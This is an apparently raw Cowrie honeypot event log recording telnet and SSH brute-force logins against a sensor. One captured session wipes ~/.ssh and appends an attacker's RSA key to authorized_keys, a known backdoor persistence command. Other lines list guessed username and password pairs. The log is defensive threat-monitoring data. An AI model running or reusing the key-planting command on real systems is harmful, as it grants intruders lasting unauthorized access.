{"eventid":"cowrie.session.closed","duration":38.124419927597046,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:56.672664Z","src_ip":"194.195.250.213","session":"c822b3472478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":36110,"dst_ip":"10.17.0.5","dst_port":23,"session":"611af3ef8373","protocol":"telnet","message":"New connection: 194.195.250.213:36110 (10.17.0.5:23) [session: 611af3ef8373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:57.996743Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43866,"dst_ip":"10.17.0.5","dst_port":23,"session":"72530bd6bfca","protocol":"telnet","message":"New connection: 162.253.42.116:43866 (10.17.0.5:23) [session: 72530bd6bfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:00.238216Z"}
{"eventid":"cowrie.session.closed","duration":35.811254024505615,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:02.585908Z","src_ip":"162.253.42.116","session":"dca1919edb33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.127577781677246,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:03.809084Z","src_ip":"162.253.42.116","session":"e5fe88a187dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59388,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ee899814b1e","protocol":"ssh","message":"New connection: 102.213.34.99:59388 (10.17.0.5:22) [session: 7ee899814b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:10.957297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:10.963297Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:11.134958Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.176512479782104,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:11.681757Z","src_ip":"194.195.250.213","session":"c8be7c2d29d6","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle#2024","message":"login attempt [oracle/oracle#2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:11.849292Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31334853172302,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:11.864896Z","src_ip":"162.253.42.116","session":"d9e547b14898","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:12.274633Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:12.282677Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:12.287133Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:12.463470Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:12.871932Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:12.875611Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:13.052604Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:13.056805Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59394,"dst_ip":"10.17.0.5","dst_port":22,"session":"f464f93f2cd3","protocol":"ssh","message":"New connection: 102.213.34.99:59394 (10.17.0.5:22) [session: f464f93f2cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:13.218513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:13.223894Z","src_ip":"102.213.34.99","session":"f464f93f2cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.42491149902344,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:13.346243Z","src_ip":"194.195.250.213","session":"d9bf600ecfaf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:13.394961Z","src_ip":"102.213.34.99","session":"f464f93f2cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.311113595962524,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:13.669745Z","src_ip":"194.195.250.213","session":"be2731544be8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:14.109812Z","src_ip":"102.213.34.99","session":"f464f93f2cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:15.286808Z","src_ip":"102.213.34.99","session":"f464f93f2cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59402,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe7b313824a6","protocol":"ssh","message":"New connection: 102.213.34.99:59402 (10.17.0.5:22) [session: fe7b313824a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:15.452886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:15.459203Z","src_ip":"102.213.34.99","session":"fe7b313824a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:15.631340Z","src_ip":"102.213.34.99","session":"fe7b313824a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:16.342856Z","src_ip":"102.213.34.99","session":"fe7b313824a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:16.516512Z","src_ip":"102.213.34.99","session":"7ee899814b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:16.522314Z","src_ip":"102.213.34.99","session":"fe7b313824a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.76121401786804,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:18.417786Z","src_ip":"194.195.250.213","session":"284734f55632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.99406599998474,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:19.752591Z","src_ip":"194.195.250.213","session":"0d8c8fcf7ad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":52262,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1911c7e318f","protocol":"telnet","message":"New connection: 194.195.250.213:52262 (10.17.0.5:23) [session: a1911c7e318f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:22.581933Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":52278,"dst_ip":"10.17.0.5","dst_port":23,"session":"867067e9fa0b","protocol":"telnet","message":"New connection: 194.195.250.213:52278 (10.17.0.5:23) [session: 867067e9fa0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:26.293080Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47156,"dst_ip":"10.17.0.5","dst_port":23,"session":"12953ba72f27","protocol":"telnet","message":"New connection: 162.253.42.116:47156 (10.17.0.5:23) [session: 12953ba72f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:27.577219Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":52282,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1d92997b8f3","protocol":"telnet","message":"New connection: 194.195.250.213:52282 (10.17.0.5:23) [session: c1d92997b8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:28.340190Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":48126,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bd15f14a2f0","protocol":"telnet","message":"New connection: 162.253.42.116:48126 (10.17.0.5:23) [session: 5bd15f14a2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:28.409748Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37534,"dst_ip":"159.203.135.109","dst_port":22,"session":"30ff9eb85488","protocol":"ssh","message":"New connection: 159.203.92.129:37534 (159.203.135.109:22) [session: 30ff9eb85488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:29.294686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:29.302253Z","src_ip":"159.203.92.129","session":"30ff9eb85488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:29.308226Z","src_ip":"159.203.92.129","session":"30ff9eb85488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anaconda","password":"anaconda","message":"login attempt [anaconda/anaconda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:29.327562Z","src_ip":"159.203.92.129","session":"30ff9eb85488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:30.342045Z","src_ip":"159.203.92.129","session":"30ff9eb85488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.03886532783508,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:31.013949Z","src_ip":"194.195.250.213","session":"2053b8d10062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":32820,"dst_ip":"10.17.0.5","dst_port":22,"session":"4282bfc21a92","protocol":"ssh","message":"New connection: 165.154.5.173:32820 (10.17.0.5:22) [session: 4282bfc21a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:32.287787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:32.294065Z","src_ip":"165.154.5.173","session":"4282bfc21a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:32.522622Z","src_ip":"165.154.5.173","session":"4282bfc21a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hello","message":"login attempt [user/hello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:33.438851Z","src_ip":"165.154.5.173","session":"4282bfc21a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.25553011894226,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:34.252220Z","src_ip":"194.195.250.213","session":"611af3ef8373","protocol":"telnet"}
